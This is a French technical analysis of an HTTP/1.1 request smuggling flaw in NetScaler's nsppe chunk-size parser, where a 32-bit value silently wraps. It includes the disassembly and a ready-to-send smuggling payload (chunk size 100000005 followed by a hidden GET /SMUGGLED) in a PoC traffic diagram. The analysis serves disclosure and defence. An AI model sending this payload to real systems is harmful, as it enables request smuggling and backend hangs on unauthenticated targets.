
Analyse technique d'une faille de contrebande de requêtes par débordement d'entier sur la taille de chunk HTTP/1.1 dans NetScaler nsppe, avec désassemblage, flux PoC au niveau du trafic réseau et diff de correctif firmware.
Le parseur de corps chunked HTTP/1.1 de nsppe lit le champ chunk-size dans un registre 32 bits et ne vérifie jamais le débordement. Neuf chiffres hexadécimaux ou plus et la valeur se replie silencieusement : 100000005 (2^32 + 5) est consommé comme une taille de chunk de 5.
C'est un bug de parseur amusant jusqu'à ce que l'on se rappelle ce que NetScaler fait du corps : il transmet le framing chunked du client au backend exactement tel que reçu, mais il décide où la requête se termine en utilisant sa propre valeur repliée. Ainsi, le proxy croit que la requête n°1 est terminée après cinq octets de corps, tandis qu'un backend correct lisant les mêmes octets calcule 4 294 967 301 et s'installe pour un corps de 4 Go qui n'arrivera jamais. Deux machines, un seul flux d'octets, deux avis différents sur l'endroit où une requête se termine.
Tout ce qui suit la version de NetScaler de « la fin » est reclassé comme une nouvelle requête pipelinée sur la même connexion client, puis transmis indépendamment sur la connexion proxy-vers-backend partagée.
Ce que vous obtenez dépend du parseur du backend lui-même :
Une seule requête non authentifiée. Configuration par défaut. Aucune condition préalable au-delà de l'atteinte d'un vserver HTTP.
Le travail du parseur est simple : transformer une ligne de taille de chunk comme 1a3f\r\n en un nombre. Il prend le buffer dans rdi avec sa longueur dans esi, accumule la valeur hexadécimale dans l'emplacement 32 bits à *rdx (en entrée et en sortie, afin qu'une taille répartie sur deux paquets reprenne proprement), saute les espaces, et exige le \r\n final. Il répond avec les octets consommés, 0 pour « besoin de plus de données », ou -1 pour malformé.
La boucle entière, assez petite pour voir le bug à l'œil nu :
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d est l'accumulateur, et il est large de 32 bits. Chaque chiffre effectue value <<= 4; value += digit. Pas de compteur de chiffres, pas de plafond de magnitude, pas de vérification de débordement, pas de jo nulle part dans la boucle. Le neuvième chiffre ne provoque pas d'erreur ; il décale le haut du nombre hors de l'extrémité du registre et personne ne s'en aperçoit. 0x100000005 & 0xffffffff = 5, et le parseur s'en satisfait parfaitement.
Il existe exactement une vérification de cohérence en aval, et elle est erronée d'une manière presque poétique. Le pilote de déchunking (sub_20af6b0, sites d'appel 0x20af719 / 0x20af9fb, taille stockée à [r12+0x344]) applique un test de signe à la valeur accumulée. Prenez un instant pour y réfléchir : les seuls débordements détectés sont ceux qui atterrissent dans la moitié négative, [0x80000000, 0xffffffff]. Une taille ayant débordé dont les 32 bits de poids faible ressortent en dessous de 0x80000000 passe sans encombre comme une taille de chunk parfaitement normale. 0x100000005 qui déborde vers 5 est le cas canonique : débordé, non remarqué, et dévastateur.
Le paquet se transforme en contrebande à cause d'une seule décision de conception dans la façon dont NetScaler traite les corps : il transmet le framing chunked du client au backend octet par octet, sans y toucher, tout en utilisant sa propre compréhension (débordée) de ce framing pour décider où se termine la requête du client.
Ainsi, NetScaler termine la requête n°1 après cinq octets de corps et met en file les 37 restants comme une seconde requête pipelinée. Le backend, effectuant l'arithmétique correctement, lit 100000005 comme 4 294 967 301 et continue d'attendre le corps de la requête n°1. À partir de ce moment, les deux machines lisent le même flux et vivent dans des mondes différents.
Le monde dans lequel vous finissez dépend du backend.
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |